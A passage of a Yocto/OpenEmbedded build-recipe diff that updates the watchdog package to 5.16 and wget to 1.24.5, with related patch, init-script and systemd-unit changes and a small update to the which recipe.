install -Dm 0644 ${WORKDIR}/watchdog.conf ${D}${sysconfdir}/watchdog.conf
+
+ if [ -n "${WATCHDOG_TIMEOUT}" ]; then
+ echo "watchdog-timeout = ${WATCHDOG_TIMEOUT}" >> ${D}/etc/watchdog.conf
+ fi
}
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-Include-linux-param.h-for-EXEC_PAGESIZE-definition.patch b/meta/recipes-extended/watchdog/watchdog/0001-Include-linux-param.h-for-EXEC_PAGESIZE-definition.patch
deleted file mode 100644
index 198f198619..0000000000
--- a/meta/recipes-extended/watchdog/watchdog/0001-Include-linux-param.h-for-EXEC_PAGESIZE-definition.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 8f91385dbd5e7c14b36ecbd8a01ca82c709f6d77 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 24 Jun 2016 18:19:29 +0000
-Subject: [PATCH] Include linux/param.h for EXEC_PAGESIZE definition
-
-Musl does not include linux/param.h whereas glibc
-does, so it fails to build on musl.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Submitted
-
- src/watchdog.c | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/src/watchdog.c b/src/watchdog.c
-index acf6450..486384a 100644
---- a/src/watchdog.c
-+++ b/src/watchdog.c
-@@ -26,6 +26,9 @@
- #include <sys/param.h> /* For EXEC_PAGESIZE */
- #include <linux/oom.h>
- #include <linux/watchdog.h>
-+#ifdef __linux__
-+#include <linux/param.h>
-+#endif
- #include <string.h>
-
- #include <libgen.h>
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch b/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch
new file mode 100644
index 0000000000..8c419e1d11
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch
@@ -0,0 +1,37 @@
+From ca1d379fa13c4055d42d2ff3a647b4397768efcd Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 23 Aug 2022 19:23:26 -0700
+Subject: [PATCH] shutdown: Do not guard sys/quota.h sys/swap.h and
+ sys/reboot.h with __GLIBC__
+
+These headers are provided by uclibc/musl/glibc and bionic so we can
+assume they are not needed to be glibc specific includes. This also
+ensures that we get proper declaration of reboot() API
+
+Upstream-Status: Submitted [https://sourceforge.net/p/watchdog/patches/12/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/shutdown.c | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/src/shutdown.c b/src/shutdown.c
+index 1d9a857..6aea0d0 100644
+--- a/src/shutdown.c
++++ b/src/shutdown.c
+@@ -29,13 +29,9 @@
+ #include "extern.h"
+ #include "ext2_mnt.h"
+
+-#if defined __GLIBC__
+ #include <sys/quota.h>
+ #include <sys/swap.h>
+ #include <sys/reboot.h>
+-#else /* __GLIBC__ */
+-#include <linux/quota.h>
+-#endif /* __GLIBC__ */
+
+ #include <unistd.h>
+
+--
+2.37.2
+
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch b/meta/recipes-extended/watchdog/watchdog/0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch
new file mode 100644
index 0000000000..075a98e5e5
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog/0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch
@@ -0,0 +1,68 @@
+From c1fe14fa5bd168292cc4670034bc48b954e9dac7 Mon Sep 17 00:00:00 2001
+From: "Maxin B. John" <maxin.john@intel.com>
+Date: Tue, 13 Mar 2018 14:49:55 +0200
+Subject: [PATCH] watchdog: remove interdependencies of watchdog and
+ wd_keepalive services
+
+Since watchdog and watchdog-keepalive packages can't be installed
+together, remove the inter-dependencies of watchdog and wd_keepalive
+services
+
+Upstream-Status: Inappropriate [oe specific]
+
+Signed-off-by: Maxin B. John <maxin.john@intel.com>
+---
+ debian/watchdog.service | 9 +++------
+ debian/wd_keepalive.service | 10 +++++-----
+ 2 files changed, 8 insertions(+), 11 deletions(-)
+
+diff --git a/debian/watchdog.service b/debian/watchdog.service
+index 7a2fc36..f31d1fe 100644
+--- a/debian/watchdog.service
++++ b/debian/watchdog.service
+@@ -1,16 +1,13 @@
+ [Unit]
+ Description=watchdog daemon
+-Conflicts=wd_keepalive.service
+ After=multi-user.target
+-OnFailure=wd_keepalive.service
+
+ [Service]
+ Type=forking
+ EnvironmentFile=/etc/default/watchdog
+ ExecStartPre=/bin/sh -c '[ -z "${watchdog_module}" ] || [ "${watchdog_module}" = "none" ] || /sbin/modprobe $watchdog_module'
+-ExecStart=/bin/sh -c '[ $run_watchdog != 1 ] || exec /usr/sbin/watchdog $watchdog_options'
+-ExecStopPost=/bin/sh -c '[ $run_wd_keepalive != 1 ] || false'
++ExecStart=/bin/sh -c '[ x$run_watchdog != x1 ] || exec /usr/sbin/watchdog $watchdog_options'
++PIDFile=/run/watchdog.pid
+
+ [Install]
+-WantedBy=default.target
+-
++WantedBy=multi-user.target
+diff --git a/debian/wd_keepalive.service b/debian/wd_keepalive.service
+index 45b018e..7f8b1dc 100644
+--- a/debian/wd_keepalive.service
++++ b/debian/wd_keepalive.service
+@@ -1,13 +1,13 @@
+ [Unit]
+ Description=watchdog keepalive daemon
+-Before=watchdog.service shutdown.target
+-Conflicts=watchdog.service shutdown.target
++After=multi-user.target
+
+ [Service]
+ Type=forking
+ EnvironmentFile=/etc/default/watchdog
+ ExecStartPre=/bin/sh -c '[ -z "${watchdog_module}" ] || [ "${watchdog_module}" = "none" ] || /sbin/modprobe $watchdog_module'
+-ExecStartPre=-/bin/systemctl reset-failed watchdog.service
+ ExecStart=/usr/sbin/wd_keepalive $watchdog_options
+-ExecStartPost=/bin/sh -c 'ln -s /var/run/wd_keepalive.pid /run/sendsigs.omit.d/wd_keepalive.pid'
+-ExecStopPost=/bin/sh -c 'rm -f /run/sendsigs.omit.d/wd_keepalive.pid'
++PIDFile=/var/run/wd_keepalive.pid
++
++[Install]
++WantedBy=multi-user.target
+--
+2.4.0
+
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch
new file mode 100644
index 0000000000..5c5d2f4e44
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch
@@ -0,0 +1,30 @@
+From b5cb6166dbfa57d1d94b19d4a098991a817f68f5 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 15 Oct 2020 10:02:17 +0800
+Subject: [PATCH] wd_keepalive.service: use /run instead of /var/run
+
+/var/run is deprecated by systemd, use /run instead.
+
+Upstream-Status: Pending
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ debian/wd_keepalive.service | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/debian/wd_keepalive.service b/debian/wd_keepalive.service
+index 7f8b1dc..0f2a153 100644
+--- a/debian/wd_keepalive.service
++++ b/debian/wd_keepalive.service
+@@ -7,7 +7,7 @@ Type=forking
+ EnvironmentFile=/etc/default/watchdog
+ ExecStartPre=/bin/sh -c '[ -z "${watchdog_module}" ] || [ "${watchdog_module}" = "none" ] || /sbin/modprobe $watchdog_module'
+ ExecStart=/usr/sbin/wd_keepalive $watchdog_options
+-PIDFile=/var/run/wd_keepalive.pid
++PIDFile=/run/wd_keepalive.pid
+
+ [Install]
+ WantedBy=multi-user.target
+--
+2.17.1
+
diff --git a/meta/recipes-extended/watchdog/watchdog/watchdog-conf.patch b/meta/recipes-extended/watchdog/watchdog/watchdog-conf.patch
deleted file mode 100644
index e68ad545c3..0000000000
--- a/meta/recipes-extended/watchdog/watchdog/watchdog-conf.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-Signed-off-by: Diego Rondini <diego.ml@zoho.com>
-Upstream-Status: Inappropriate
-
---- watchdog-5.13.orig/watchdog.conf 2013-02-01 12:15:44.000000000 +0100
-+++ watchdog-5.13/watchdog.conf 2014-11-13 10:59:43.233943000 +0100
-@@ -20,7 +20,7 @@
- #test-binary =
- #test-timeout =
-
--#watchdog-device = /dev/watchdog
-+watchdog-device = /dev/watchdog
-
- # Defaults compiled into the binary
- #temperature-device =
diff --git a/meta/recipes-extended/watchdog/watchdog/watchdog-init.patch b/meta/recipes-extended/watchdog/watchdog/watchdog-init.patch
deleted file mode 100644
index b2765f1908..0000000000
--- a/meta/recipes-extended/watchdog/watchdog/watchdog-init.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-Signed-off-by: Diego Rondini <diego.ml@zoho.com>
-Upstream-Status: Inappropriate
-
---- watchdog-5.13.orig/redhat/watchdog.init 2014-11-12 17:18:39.125943000 +0100
-+++ watchdog-5.13/redhat/watchdog.init 2014-11-12 18:27:36.189943000 +0100
-@@ -7,7 +7,7 @@
- # Henning P. Schmiedehausen <hps@tanstaafl.de>
-
- # Source function library.
--. /etc/rc.d/init.d/functions
-+. /etc/init.d/functions
-
- [ -x /usr/sbin/watchdog -a -e /etc/watchdog.conf ] || exit 0
-
-@@ -23,22 +23,22 @@
-
- start() {
-
-- echo -n $"Starting $prog: "
-+ echo -n "Starting $prog: "
- if [ -n "$(pidofproc $prog)" ]; then
-- echo -n $"$prog: already running"
-- echo_failure
-+ echo -n "$prog: already running "
-+ failure
- echo
- return 1
- fi
- if [ "$VERBOSE" = "yes" ]; then
-- daemon /usr/sbin/${prog} -v
-+ /usr/sbin/${prog} -v
- else
-- daemon /usr/sbin/${prog}
-+ /usr/sbin/${prog}
- fi
- RETVAL=$?
- [ $RETVAL -eq 0 ] && touch $lockfile
-- [ $RETVAL -eq 0 ] && echo_success
-- [ $RETVAL -ne 0 ] && echo_failure
-+ [ $RETVAL -eq 0 ] && success
-+ [ $RETVAL -ne 0 ] && failure
- echo
- return $RETVAL
- }
-@@ -50,8 +50,10 @@
- # and reboot the box.
- killproc $prog -TERM
- RETVAL=$?
-- echo
- [ $RETVAL -eq 0 ] && rm -f $lockfile $pidfile
-+ [ $RETVAL -eq 0 ] && success
-+ [ $RETVAL -ne 0 ] && failure
-+ echo
- return $RETVAL
- }
-
diff --git a/meta/recipes-extended/watchdog/watchdog/watchdog.init b/meta/recipes-extended/watchdog/watchdog/watchdog.init
new file mode 100644
index 0000000000..d37107cf0e
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog/watchdog.init
@@ -0,0 +1,110 @@
+#!/bin/sh
+#/etc/init.d/watchdog: start watchdog daemon.
+
+### BEGIN INIT INFO
+# Provides: watchdog
+# Short-Description: Start software watchdog daemon
+# Required-Start: $all
+# Required-Stop: $all
+# Should-Start:
+# Should-Stop:
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+### END INIT INFO
+
+PATH=/bin:/usr/bin:/sbin:/usr/sbin
+
+test -x /usr/sbin/watchdog || exit 0
+
+# For configuration of the init script use the file
+# /etc/default/watchdog, do not edit this init script.
+
+# Set run_watchdog to 1 to start watchdog or 0 to disable it.
+run_watchdog=0
+
+# Specify additional watchdog options here (see manpage).
+watchdog_options=""
+
+# Specify module to load
+watchdog_module="none"
+
+[ -e /etc/default/watchdog ] && . /etc/default/watchdog
+
+NAME=watchdog
+DAEMON=/usr/sbin/watchdog
+
+STOP_RETRY_SCHEDULE='TERM/10/forever/KILL/1'
+
+. /etc/init.d/functions
+
+# Mock Debian stuff
+log_begin_msg() {
+ echo -n $*
+}
+
+log_end_msg() {
+ if [ "$1" = "0" ]; then
+ echo 'done'
+ else
+ echo 'error'
+ fi
+}
+
+log_daemon_msg() {
+ echo $*
+}
+
+log_progress_msg() {
+ echo $*
+}
+
+case "$1" in
+ start)
+ if [ $run_watchdog = 1 ]
+ then
+ # do we have to load a module?
+ [ "${watchdog_module:-none}" != "none" ] && /sbin/modprobe $watchdog_module
+
+ # Check /dev/watchdog here because if it does not exist after module loading,
+ # it makes no sense to start the daemon
+ test -e /dev/watchdog || { log_daemon_msg "daemon not start due to lack of /dev/watchdog"; exit 0; }
+
+ log_begin_msg "Starting watchdog daemon..."
+ start-stop-daemon --start --quiet --pidfile /var/run/$NAME.pid \
+ --exec $DAEMON -- $watchdog_options
+ log_end_msg $?
+ fi
+ ;;
+
+ stop)
+ if [ $run_watchdog = 1 ]
+ then
+ log_begin_msg "Stopping watchdog daemon..."
+ start-stop-daemon --stop --quiet --retry $STOP_RETRY_SCHEDULE \
+ --pidfile /var/run/$NAME.pid
+
+ fi
+ ;;
+
+ restart)
+ $0 force-reload
+ ;;
+
+ force-reload)
+ if [ $run_watchdog = 0 ]; then exit 0; fi
+ log_daemon_msg "Restarting $NAME"
+ $0 stop
+ $0 start
+ ;;
+
+ status)
+ status "$DAEMON"
+ ;;
+
+ *)
+ echo "Usage: /etc/init.d/watchdog {start|stop|restart|force-reload|status}"
+ exit 1
+
+esac
+
+exit 0
diff --git a/meta/recipes-extended/watchdog/watchdog_5.15.bb b/meta/recipes-extended/watchdog/watchdog_5.15.bb
deleted file mode 100644
index 3d0b72e08d..0000000000
--- a/meta/recipes-extended/watchdog/watchdog_5.15.bb
+++ /dev/null
@@ -1,65 +0,0 @@
-SUMMARY = "Software watchdog"
-DESCRIPTION = "Watchdog is a daemon that checks if your system is still \
-working. If programs in user space are not longer executed \
-it will reboot the system."
-HOMEPAGE = "http://watchdog.sourceforge.net/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
-
-LICENSE = "GPL-2.0+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ecc0551bf54ad97f6b541720f84d6569"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \
- file://0001-Include-linux-param.h-for-EXEC_PAGESIZE-definition.patch \
- file://watchdog-init.patch \
- file://watchdog-conf.patch \
- file://wd_keepalive.init \
-"
-
-SRC_URI[md5sum] = "678c32f6f35a0492c9c1b76b4aa88828"
-SRC_URI[sha256sum] = "ffdc865137ad5d8e53664bd22bad4de6ca136d1b4636720320cb52af0c18947c"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/"
-UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/"
-
-inherit autotools update-rc.d systemd
-
-DEPENDS_append_libc-musl = " libtirpc "
-CFLAGS_append_libc-musl = " -I${STAGING_INCDIR}/tirpc "
-LDFLAGS_append_libc-musl = " -ltirpc "
-EXTRA_OECONF_append_libc-musl = " --disable-nfs "
-
-INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive"
-
-INITSCRIPT_NAME_${PN} = "watchdog.sh"
-INITSCRIPT_PARAMS_${PN} = "start 15 1 2 3 4 5 . stop 85 0 6 ."
-
-INITSCRIPT_NAME_${PN}-keepalive = "wd_keepalive"
-INITSCRIPT_PARAMS_${PN}-keepalive = "start 15 1 2 3 4 5 . stop 85 0 6 ."
-
-SYSTEMD_SERVICE_${PN} = "watchdog.service wd_keepalive.service"
-
-do_install_append() {
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir}
- install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir}
-
- install -D ${S}/redhat/watchdog.init ${D}/${sysconfdir}/init.d/watchdog.sh
- install -Dm 0755 ${WORKDIR}/wd_keepalive.init ${D}${sysconfdir}/init.d/wd_keepalive
-
- # watchdog.conf is provided by the watchdog-config recipe
- rm ${D}${sysconfdir}/watchdog.conf
-}
-
-PACKAGES =+ "${PN}-keepalive"
-
-FILES_${PN}-keepalive = " \
- ${sysconfdir}/init.d/wd_keepalive \
- ${sbindir}/wd_keepalive \
-"
-
-RDEPENDS_${PN} += "${PN}-config"
-RRECOMMENDS_${PN} += "kernel-module-softdog"
-
-RDEPENDS_${PN}-keepalive += "${PN}-config"
-RCONFLICTS_${PN}-keepalive += "${PN}"
-RRECOMMENDS_${PN}-keepalive += "kernel-module-softdog"
diff --git a/meta/recipes-extended/watchdog/watchdog_5.16.bb b/meta/recipes-extended/watchdog/watchdog_5.16.bb
new file mode 100644
index 0000000000..5325ccafda
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog_5.16.bb
@@ -0,0 +1,73 @@
+SUMMARY = "Software watchdog"
+DESCRIPTION = "Watchdog is a daemon that checks if your system is still \
+working. If programs in user space are not longer executed \
+it will reboot the system."
+HOMEPAGE = "http://watchdog.sourceforge.net/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
+
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=084236108b1d4a9851bf5213fea586fd"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \
+ file://0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch \
+ file://watchdog.init \
+ file://wd_keepalive.init \
+ file://0001-wd_keepalive.service-use-run-instead-of-var-run.patch \
+ file://0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch \
+"
+
+SRC_URI[md5sum] = "1b4f51cabc64d1bee2fce7cdd626831f"
+SRC_URI[sha256sum] = "b8e7c070e1b72aee2663bdc13b5cc39f76c9232669cfbb1ac0adc7275a3b019d"
+
+# Can be dropped when the output next changes, avoids failures after
+# reproducibility issues
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/"
+UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/"
+
+inherit autotools update-rc.d systemd pkgconfig
+
+EXTRA_OECONF += " --disable-nfs "
+CACHED_CONFIGUREVARS += "ac_cv_path_PATH_SENDMAIL=${sbindir}/sendmail"
+
+INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive"
+
+INITSCRIPT_NAME:${PN} = "watchdog"
+INITSCRIPT_PARAMS:${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
+
+INITSCRIPT_NAME:${PN}-keepalive = "wd_keepalive"
+INITSCRIPT_PARAMS:${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
+
+SYSTEMD_PACKAGES = "${PN} ${PN}-keepalive"
+SYSTEMD_SERVICE:${PN} = "watchdog.service"
+SYSTEMD_SERVICE:${PN}-keepalive = "wd_keepalive.service"
+# When using systemd, consider making use of internal watchdog support of systemd.
+# See RuntimeWatchdogSec in /etc/systemd/system.conf.
+SYSTEMD_AUTO_ENABLE = "disable"
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir}
+
+ install -Dm 0755 ${WORKDIR}/watchdog.init ${D}/${sysconfdir}/init.d/watchdog
+ install -Dm 0755 ${WORKDIR}/wd_keepalive.init ${D}${sysconfdir}/init.d/wd_keepalive
+
+ # watchdog.conf is provided by the watchdog-config recipe
+ rm ${D}${sysconfdir}/watchdog.conf
+}
+
+PACKAGES =+ "${PN}-keepalive"
+
+FILES:${PN}-keepalive = " \
+ ${sysconfdir}/init.d/wd_keepalive \
+ ${systemd_system_unitdir}/wd_keepalive.service \
+ ${sbindir}/wd_keepalive \
+"
+
+RDEPENDS:${PN} += "${PN}-config"
+RRECOMMENDS:${PN} += "kernel-module-softdog"
+
+RDEPENDS:${PN}-keepalive += "${PN}-config"
+RCONFLICTS:${PN}-keepalive += "${PN}"
+RRECOMMENDS:${PN}-keepalive += "kernel-module-softdog"
diff --git a/meta/recipes-extended/wget/wget.inc b/meta/recipes-extended/wget/wget.inc
index 1299edb720..51926e7296 100644
--- a/meta/recipes-extended/wget/wget.inc
+++ b/meta/recipes-extended/wget/wget.inc
@@ -1,26 +1,43 @@
SUMMARY = "Console URL download utility supporting HTTP, FTP, etc"
+DESCRIPTION = "Wget is a network utility to retrieve files from the web using \
+HTTP(S) and FTP, the two most widely used internet protocols. It works \
+non-interactively, so it will work in the background, after having logged off. \
+The program supports recursive retrieval of web-authoring pages as well as \
+FTP sites"
HOMEPAGE = "https://www.gnu.org/software/wget/"
SECTION = "console/network"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-DEPENDS = "gnutls zlib libpcre"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6f65012d1daf98cb09b386cfb68df26b"
inherit autotools gettext texinfo update-alternatives pkgconfig
-EXTRA_OECONF = "--with-ssl=gnutls --disable-rpath --disable-iri \
- --without-libgnutls-prefix ac_cv_header_uuid_uuid_h=no"
+DEPENDS += "autoconf-archive-native"
-ALTERNATIVE_${PN} = "wget"
-ALTERNATIVE_${PN}_class-nativesdk = ""
+EXTRA_OECONF = "--without-libgnutls-prefix --without-libssl-prefix \
+ --disable-rpath"
+
+EXTRA_OEMAKE += 'TOOLCHAIN_OPTIONS="${TOOLCHAIN_OPTIONS}" \
+ DEBUG_PREFIX_MAP="${DEBUG_PREFIX_MAP}"'
+
+ALTERNATIVE:${PN} = "wget"
+ALTERNATIVE:${PN}:class-nativesdk = ""
ALTERNATIVE_PRIORITY = "100"
-RRECOMMENDS_${PN} += "ca-certificates"
+RRECOMMENDS:${PN} += "ca-certificates"
BBCLASSEXTEND = "nativesdk"
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[libuuid] = "--with-libuuid, --without-libuuid,util-linux"
+PACKAGECONFIG ??= "gnutls pcre zlib \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ares] = "--with-cares,--without-cares,c-ares"
+PACKAGECONFIG[gnutls] = "--with-ssl=gnutls,,gnutls"
PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[iri] = "--enable-iri,--disable-iri,libidn2"
+PACKAGECONFIG[libpsl] = "--with-libpsl,--without-libpsl,libpsl"
+PACKAGECONFIG[libuuid] = "--with-libuuid,--without-libuuid,util-linux"
+PACKAGECONFIG[openssl] = "--with-ssl=openssl,,openssl"
+PACKAGECONFIG[pcre] = "--enable-pcre,--disable-pcre,libpcre"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
# Let aclocal use the relative path for the m4 file rather than
# absolute, otherwise there might be an "Argument list too long" error
diff --git a/meta/recipes-extended/wget/wget/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/wget/wget/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index 0b3c6f5557..0000000000
--- a/meta/recipes-extended/wget/wget/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: wget-1.16.3/lib/Makefile.am
-===================================================================
---- wget-1.16.3.orig/lib/Makefile.am
-+++ wget-1.16.3/lib/Makefile.am
-@@ -846,7 +846,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
new file mode 100644
index 0000000000..5438bafdcb
--- /dev/null
+++ b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
@@ -0,0 +1,63 @@
+From b86e57b68363d108fe77c6fd588a275d2696cabe Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Wed, 10 Jan 2018 14:43:20 +0800
+Subject: [PATCH] src/Makefile.am: improve reproducibility
+
+Remove build host references from the internally
+generated file version.c. The references get compiled into
+executables, which leads to non-reproducible builds.
+The removed references (--sysroot, -fdebug-prefix-map) were
+only used as part of the `wget --version' which do not have
+side effect.
+
+...
+$ wget --version
+GNU Wget 1.14 built on linux-gnu.
+
++digest +https +ipv6 +iri +large-file +nls +ntlm +opie +ssl/openssl
+
+Wgetrc:
+ /etc/wgetrc (system)
+Locale: /usr/share/locale
+Compile: gcc -DHAVE_CONFIG_H -DSYSTEM_WGETRC="/etc/wgetrc"
+ -DLOCALEDIR="/usr/share/locale" -I. -I../lib -I../lib -O2 -g -pipe
+ -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong
+ --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic
+Link: gcc -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions
+ -fstack-protector-strong --param=ssp-buffer-size=4
+ -grecord-gcc-switches -m64 -mtune=generic -lssl -lcrypto
+ /usr/lib64/libssl.so /usr/lib64/libcrypto.so /usr/lib64/libz.so
+ -ldl -lz -lz -lidn -luuid -lpcre ftp-opie.o openssl.o http-ntlm.o
+ ../lib/libgnu.a
+...
+
+Upstream-Status: Inappropriate [oe-core specific]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+sed use of DEBUG_PREFIX_MAP must treat whitespace the same as the
+echo command building version.c or the expression match will fail.
+
+Signed-off-by: Joe Slater <jslater@windriver.com>
+---
+ src/Makefile.am | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/Makefile.am b/src/Makefile.am
+index 18ec622..38d252d 100644
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -108,9 +108,13 @@ version.c: $(wget_SOURCES) ../lib/libgnu.a
+ echo '#include "version.h"' >> $@
+ echo 'const char *version_string = "@VERSION@";' >> $@
+ echo 'const char *compilation_string = "'$(COMPILE)'";' \
++ | sed -e "s,$(TOOLCHAIN_OPTIONS),,g" \
++ -e "s,$$(echo $(DEBUG_PREFIX_MAP)),,g" \
+ | $(ESCAPEQUOTE) >> $@
+ echo 'const char *link_string = "'$(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+ $(AM_LDFLAGS) $(LDFLAGS) $(LIBS) $(wget_LDADD)'";' \
++ | sed -e "s,$(TOOLCHAIN_OPTIONS),,g" \
++ -e "s,$$(echo $(DEBUG_PREFIX_MAP)),,g" \
+ | $(ESCAPEQUOTE) >> $@
+
+ css.c: $(srcdir)/css.l
diff --git a/meta/recipes-extended/wget/wget_1.19.2.bb b/meta/recipes-extended/wget/wget_1.19.2.bb
deleted file mode 100644
index bdafa70bfd..0000000000
--- a/meta/recipes-extended/wget/wget_1.19.2.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- "
-
-SRC_URI[md5sum] = "caabf9727fa429626316619a6369fffa"
-SRC_URI[sha256sum] = "4f4a673b6d466efa50fbfba796bd84a46ae24e370fa562ede5b21ab53c11a920"
-
-require wget.inc
diff --git a/meta/recipes-extended/wget/wget_1.24.5.bb b/meta/recipes-extended/wget/wget_1.24.5.bb
new file mode 100644
index 0000000000..64e6ee80af
--- /dev/null
+++ b/meta/recipes-extended/wget/wget_1.24.5.bb
@@ -0,0 +1,7 @@
+SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
+ file://0002-improve-reproducibility.patch \
+ "
+
+SRC_URI[sha256sum] = "fa2dc35bab5184ecbc46a9ef83def2aaaa3f4c9f3c97d4bd19dcb07d4da637de"
+
+require wget.inc
diff --git a/meta/recipes-extended/which/which_2.21.bb b/meta/recipes-extended/which/which_2.21.bb
index fac0fd3944..77861370e5 100644
--- a/meta/recipes-extended/which/which_2.21.bb
+++ b/meta/recipes-extended/which/which_2.21.bb
@@ -4,16 +4,15 @@ executables that bash(1) would execute when the passed \
program names would have been entered on the shell prompt. \
It does this by using the exact same algorithm as bash."
SECTION = "libs"
-HOMEPAGE = "http://carlo17.home.xs4all.nl/which/"
+HOMEPAGE = "https://carlowood.github.io/which/"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\
file://which.c;beginline=1;endline=17;md5=a9963693af2272e7a8df6f231164e7a2"
DEPENDS = "cwautomacros-native"
inherit autotools texinfo update-alternatives
-PR = "r3"
EXTRA_OECONF = "--disable-iberty"
@@ -24,12 +23,14 @@ SRC_URI = "${GNU_MIRROR}/which/which-${PV}.tar.gz \
SRC_URI[md5sum] = "097ff1a324ae02e0a3b0369f07a7544a"
